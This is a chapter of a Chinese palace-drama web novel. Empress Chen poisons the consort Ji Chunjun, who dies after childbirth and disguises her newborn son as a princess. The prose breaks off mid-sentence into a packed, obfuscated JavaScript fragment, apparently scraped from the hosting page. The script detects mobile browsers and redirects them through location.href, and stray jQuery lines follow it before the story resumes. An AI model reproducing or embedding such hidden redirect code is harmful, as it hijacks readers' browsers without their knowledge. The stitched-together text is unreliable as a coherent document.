69. 第 69 章

    皇后用在季春君身上的秘药,是托陈国公在宫外找了许久才找到的,此药无色无味易挥发,随用随消没有半分痕迹,就是再高明的医者也没有办法鉴别。


    只要点涂于肌肤少许即可生效,唯一缺点是药性太烈,对接触它的人都有损伤,陈知瑾为要了贤妃母子性命,不惜自损八百,哪怕代价是以今后再也无法生育,她也在所不惜,可见其决心,又岂是景帝三言两语就能吓住的?


    面对景帝的威压,她只是淡淡道:“事关皇嗣,陛下谨慎一些是自然的,可臣妾确实一片慈母之心,又心疼陛下琐事缠身才早早来替贤妃压阵的……”


    话语间,里间又传来一声哀嚎,接生的嬷嬷满手鲜血走了出来:“陛下、娘娘快做决断吧,贤妃娘娘她要撑不住了!”


    “保大,朕说保大!”景帝闻声站起,重复了两边保大。


    可皇后像是铆足了劲要让他不舒服一样,又开口劝道:“还是保小吧?陛下子嗣不丰,贤妃这一胎又……”


    “保大,”景帝的话掷地有声,他厌恶地看着地上的女人,“皇后御前失仪,自回坤宁宫反省!”


    “臣妾遵旨。”陈皇后叩首接了景帝口谕,她慢慢站起,又慢慢向外挪动。


    殿外站着许多宫人,见皇后出来,他们个个垂下脑袋默默行礼,一国皇后跪在嫔妃殿中受训,是多么屈辱的事情,可陈知瑾却半点也不后悔。


    今天这一遭她不仅要了劲敌的性命,还解决了一个未来的隐患,景帝就是再不喜,雷声再大又怎样,不还是只能雨点小的让自己回宫反省吗?


    因为久跪,陈知瑾离开长乐宫跨过门槛时,脚下一个踉跄,还是扶住了身旁的朱门才没有摔倒。


    太狼狈了,皇后自嘲一笑,但那又怎样?从今天起,这个后宫将彻底在她的掌控之下,再也没有人可以威胁到自己了!


    “娘娘?”林嬷嬷心疼地快步上前,扶起陈皇后小声问道,“里面?”


    见主子点了个头,她这才松了口气,扶着陈皇后坐上轿辇,她仿佛打了胜仗一般指挥着太监们起轿回宫。


    自古前朝后宫密不可分,前朝乌云密布,后宫众人自然也都战战兢兢恨不得夹起尾巴做人,皇后坐着轿辇路过萧瑟的长街,两边扫水的宫人见到皇后仪仗纷纷跪下行礼。


    大家的头都习惯性垂着,所以没有人看见,被众人簇拥着的皇后娘娘正在无声地哭泣。


    她坐的极端,那是大家里才能养出来的仪态,更是多年皇后的习惯,连哭都格外克制,她还是一如既往抬头目视着前方,却不知泪水什么时候模糊了眼眶。


    先是熟悉的金砖路慢慢变得朦胧,接着是脸上有了湿意,陈皇后抬手拭去了脸边的泪珠,却不想越来越多,最终泪如雨下。


    她赌上了一切才拿到皇后的金印,她也曾有过爱情啊!但为了家族荣誉,她不得不成为皇后,她付出了那么多,陈家付出了那么多!可是现在景帝居然妄想用他们的付出为心爱的女人铺路?那她呢?她的盛儿呢?他们陈家又算什么?!她绝不允许!


    擦掉最后一滴眼泪,皇后又是那个处变不惊的皇后了,她陈知瑾及笄礼上得到的最后一件礼物是心上人逝去的消息,同为帝后,她的得权之路走得这样辛苦,那么今天皇帝也该尝一尝永失所爱的滋味!


    长乐宫中,季春君无比清楚地知道,自己应该是闯不过这关了,在最后关头,她叫至冬打晕了接生嬷嬷,让移夏帮她接了生。


    “移夏,是公主还是皇子?”


    移夏拿消过毒的银剪,剪断了小皇子的脐带,一脸兴奋:“娘娘,是个皇子!”


    “错了!没有皇子,快把他包起来,今日产床前只有你和至冬,我生的是个公主,对外、对所有人都说,是个公主,你们可记得了?”


    两人对视一眼,齐齐点头:“奴婢省的。”


    “至冬点香,去请陛下进来……”


    “娘娘!”收拾完旧垫絮被褥,正要帮主子坐起的移夏突然惊呼起来,“血,又出血了!”


    皇后的药千金难求,本就是要人性命的虎狼之药,要不是季春君身体好,她早就该在生产时就力竭而亡了,季春君闭眼,泪水不断涌出,她又重复了一遍:“去请陛下!”


    “娘娘,李公公


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720671|168604||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    说陛下怜惜娘娘生产辛苦,已经下旨大肆封赏长乐宫了,但前朝事催得紧,陛下改日再来……”


    “去请,再去请……”


    “奴婢就是豁出性命也要帮娘娘请来陛下!”移夏用那只血红的手拎起裙子,头也不回地往乾清宫跑去。


    “娘娘,”至冬嘴唇颤抖,跌坐在了季春君床前,“陛下好狠的心,他居然……对娘娘如此绝情。”


    “我早该想到的,帝王的真心又怎么可信?”季春君艰难坐起,叫至冬取了大还丹服下,“爱不爱的现在已经不重要了,季家和你们我能保一点是一点,我只恨自己无能为力……”


    原来,事情的真相是这样……


    楚桃看着母妃越来越苍白的脸色和慢慢垂下去的手,恐慌和无助几乎要将他整个心脏吞噬,不——不不!他想要去阻止,但是却什么也做不了,热泪同样模糊了他的双眼,在精神恍惚中,他听见了母亲最后的遗言。


    “臣妾将死之人,又是戴罪之身,本不该向陛下讨要什么,可小公主他实在年幼,”季春君挣扎着握住景帝的手,拉着他摸到了身边的襁褓,“陛下,您抱抱他吧?臣妾别无他求,只希望臣妾死后可以让公主去皇陵替我祈福……”


    “公主?”可御医明明说贤妃这一胎是个皇子啊!景帝颤抖着双手揭开襁褓,瞬间明白了季春君的意图,她是想隐瞒这个孩子的性别,让他去皇陵明哲保身。


    “陛下,季家就算有天大的错,可稚子无辜……”


    景帝感受到怀中的人渐渐冰凉,在爱妃期待的目光中最终还是点了头。


    得到了承诺,季春君终于能合上双眼了,在生命最后的尽头,她也曾想问景帝一句是否爱过,可她犹豫再三还是没有张口,爱又怎样?她宠冠六宫也不影响他诛杀季家……


    权力,本就是让人溃烂的毒药,它是只会吃掉良知的巨兽,可笑她身处皇权中心,居然今天才明白这个道理,如果有来生,她不会让孩子降生在皇家,也不会再踏入宫门,断送自己一生。


    如果可以,她多想听这孩子叫她一句母亲,是母亲,不是母妃,是母,而非妾。